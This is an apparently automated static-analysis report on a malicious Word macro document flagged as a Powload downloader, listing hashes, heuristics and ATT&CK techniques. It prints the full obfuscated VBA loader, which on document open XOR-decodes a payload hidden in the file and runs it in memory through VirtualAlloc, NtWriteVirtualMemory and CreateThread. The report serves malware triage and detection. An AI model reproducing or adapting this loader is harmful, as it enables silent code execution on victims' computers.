Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 7d3a8afb09192cfb…

MALICIOUS

Office (OLE)

37.2 KB Created: 2017-07-26 08:07:00 Authoring application: Microsoft Office Word First seen: 2017-08-08
MD5: b3eb0d50a07c14031160e7281ee7c3bd SHA-1: 481a60501aae65e5ed4c703634dad4cc16e12027 SHA-256: 7d3a8afb09192cfb4f6c3a4c8a97f7726cf1720fdee261020eb1dd7ac2e1f1a0
120 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample is a Microsoft Office document containing VBA macros. Heuristics indicate the presence of a Document_Open macro and references to the VirtualAlloc API, suggesting the execution of shellcode. The ClamAV detection name 'Doc.Downloader.Powload-6809817-0' further supports the interpretation that this document is a downloader. The VBA script itself contains calls to VirtualAlloc and CreateThread, indicating it is designed to allocate memory and execute arbitrary code, likely a second-stage payload.

Heuristics 7

  • ClamAV: Doc.Downloader.Powload-6809817-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Powload-6809817-0
  • Reference to VirtualAlloc API medium SC_STR_VIRTUALALLOC
    Reference to VirtualAlloc API
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Public Sub Document_Open()
    aUpiPJK
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub Workbook_Open()
    Document_Open
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4694 bytes
SHA-256: 915c023d69c487be2171a4d17199f6d3e0dffd0b9c8c8cdf2339e61cf624d7f1
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Option Explicit

#If VBA7 Then
Private Declare PtrSafe Function TEKmWwsUokwTCgmBlJaTzWNYmMhcy Lib "kernel32" Alias "CreateThread" (ByVal AYXoCLzqRLgWElnQaJkdPRZX As Long, ByVal lJGAccAfJVcgpBjIXksdKGSQTwrk As Long, ByVal ZIZarqcS As LongPtr, OIFQVpkJKibuSHGUmFQQGFLq As Long, ByVal JmdgYkhQhvKxUKCFkMijMhatgeLlc As Long, jXpRmdhCM As Long) As LongPtr
Private Declare PtrSafe Function xHZkphwOxJMQWRMpv Lib "kernel32" Alias "VirtualAlloc" (ByVal tHQzFuuMZxcEQK As Long, ByVal GfnAHTIiMJdC As LongPtr, ByVal aIHYvtJWorTHwYuxtebOyEQnWrzKy As Long, ByVal QBRvMq As Long) As LongPtr
Private Declare PtrSafe Function NtWriteVirtualMemory Lib "NTDLL" (ByVal djxbtsOtTkUoLtFbOAwSuceTY As LongPtr, ByVal kArPbmdHpVEMflcT As LongPtr, ByVal gEwMKk As String, ByVal dVqyvbeEdUinbejHk As LongPtr, ByRef eKxbuk As LongPtr) As LongPtr
#Else
Private Declare Function TEKmWwsUokwTCgmBlJaTzWNYmMhcy Lib "kernel32" Alias "CreateThread"  (ByVal AYXoCLzqRLgWElnQaJkdPRZX As Long, ByVal lJGAccAfJVcgpBjIXksdKGSQTwrk As Long, ByVal ZIZarqcS As Long, OIFQVpkJKibuSHGUmFQQGFLq As Long, ByVal JmdgYkhQhvKxUKCFkMijMhatgeLlc As Long, jXpRmdhCM As Long) As Long
Private Declare Function xHZkphwOxJMQWRMpv Lib "kernel32" Alias "VirtualAlloc" (ByVal tHQzFuuMZxcEQK As Long, ByVal GfnAHTIiMJdC As Long, ByVal aIHYvtJWorTHwYuxtebOyEQnWrzKy As Long, ByVal QBRvMq As Long) As Long
Private Declare Function NtWriteVirtualMemory Lib "NTDLL" (ByVal djxbtsOtTkUoLtFbOAwSuceTY As Long, ByVal kArPbmdHpVEMflcT As Long, ByVal gEwMKk As String, ByVal dVqyvbeEdUinbejHk As Long, ByRef eKxbuk As Long) As Long
#End If

Const wiwtuRKxpcIZ = &H1000
Const ZJXBTHvmIXRlZwYv = &H40

Public Sub aUpiPJK()
    Dim beaFNRAhPoupAHwayaRFIHZBvzUft() As Byte

    beaFNRAhPoupAHwayaRFIHZBvzUft = DDpIlZTBHfjtCXCKdByxiFr(ActiveDocument.FullName)
    Dim iucSeibILfberqpwFtxoKOSepu As String
    iucSeibILfberqpwFtxoKOSepu = StrConv(beaFNRAhPoupAHwayaRFIHZBvzUft, 64)
    
    Dim zjnWvNW
    zjnWvNW = Split(iucSeibILfberqpwFtxoKOSepu, "ylWbCnaRAFMAupdQyuRPaIsYQgdpHDrPCTBCAeUKmMahElFSweMLzbMQSYkwjKjXnXXBOBqtzgCnHktEAlTDQGpBhLJBTyBBDcUHnddVOsltyyiIFGVYRGgGHwucSOAbFbKEqLrxhYPxvVdICbWnCCKXVnZRIbdZSjOxNDrUpy")

    Dim anICoZQp As String
    Dim tvOINNxqgS As String
    Dim xrSDYmTyW As String
    tvOINNxqgS = StrConv(StrConv(zjnWvNW(UBound(zjnWvNW)), 64), 128)
    xrSDYmTyW = Mid$(tvOINNxqgS, 3, Len(tvOINNxqgS))

    anICoZQp = WKxQoUwwQFIondMRJIwRSQYZR("TQJlMtMzQSnzcrNJcLzOgUPFlh", xrSDYmTyW)
    
    #If VBA7 Then
        Dim YSBwiYEFxYCNTLVLCyEcehs As LongPtr
        Dim cNlEhvuMcDeQybRLtVvISzOlVAwY As LongPtr
    #Else
        Dim YSBwiYEFxYCNTLVLCyEcehs As Long
        Dim cNlEhvuMcDeQybRLtVvISzOlVAwY As Long
    #End If

    YSBwiYEFxYCNTLVLCyEcehs = xHZkphwOxJMQWRMpv(0, Len(anICoZQp), wiwtuRKxpcIZ, ZJXBTHvmIXRlZwYv)
    cNlEhvuMcDeQybRLtVvISzOlVAwY = NtWriteVirtualMemory(-1, YSBwiYEFxYCNTLVLCyEcehs, anICoZQp, Len(anICoZQp), 0)
    cNlEhvuMcDeQybRLtVvISzOlVAwY = TEKmWwsUokwTCgmBlJaTzWNYmMhcy(0, 0, YSBwiYEFxYCNTLVLCyEcehs, 0, 0, 0)
End Sub

Public Function DDpIlZTBHfjtCXCKdByxiFr(ByVal jpiXQjoUzfBMevn As String) As Byte()
    Dim tvOINNxqgS As Long
    Dim xrSDYmTyW() As Byte
    tvOINNxqgS = FreeFile
    If LenB(Dir(jpiXQjoUzfBMevn)) Then
        Open jpiXQjoUzfBMevn For Binary Access Read As tvOINNxqgS
        ReDim xrSDYmTyW(LOF(tvOINNxqgS) - 1&) As Byte
        Get tvOINNxqgS, , xrSDYmTyW
        Close tvOINNxqgS
    Else
        Err.Raise 53
    End If
    DDpIlZTBHfjtCXCKdByxiFr = xrSDYmTyW
    Erase xrSDYmTyW
End Function

Public Sub Document_Open()
    aUpiPJK
End Sub

Sub Workbook_Open()
    Document_Open
End Sub

Public Function WKxQoUwwQFIondMRJIwRSQYZR(GCDzlWrtxLqRySbTqm As String, jePQgClceYgMyZMnUT As String) As String
    Dim uLWTGbBRkEQY As Long
    Dim LxHxRLwWZUmvqYSSL As String
    Dim gaZSQmliOEKaxoaFaar As Integer, FKRyCSyXR As Integer, a As Long

    For uLWTGbBRkEQY = 1 To Len(jePQgClceYgMyZMnUT)
        a = uLWTGbBRkEQY Mod Len(GCDzlWrtxLqRySbTqm)
        If a = 0 Then a = Len(GCDzlWrtxLqRySbTqm)
        
        gaZSQmliOEKaxoaFaar = Asc(Mid$(jePQgClceYgMyZMnUT, uLWTGbBRkEQY, 1))
        FKRyCSyXR = Asc(Mid$(GCDzlWrtxLqRySbTqm, a, 1))
        LxHxRLwWZUmvqYSSL = LxHxRLwWZUmvqYSSL + Chr(gaZSQmliOEKaxoaFaar Xor FKRyCSyXR)
    Next uLWTGbBRkEQY
    
   WKxQoUwwQFIondMRJIwRSQYZR = LxHxRLwWZUmvqYSSL
End Function

Open this report in the interactive analyzer, or submit your own file for analysis.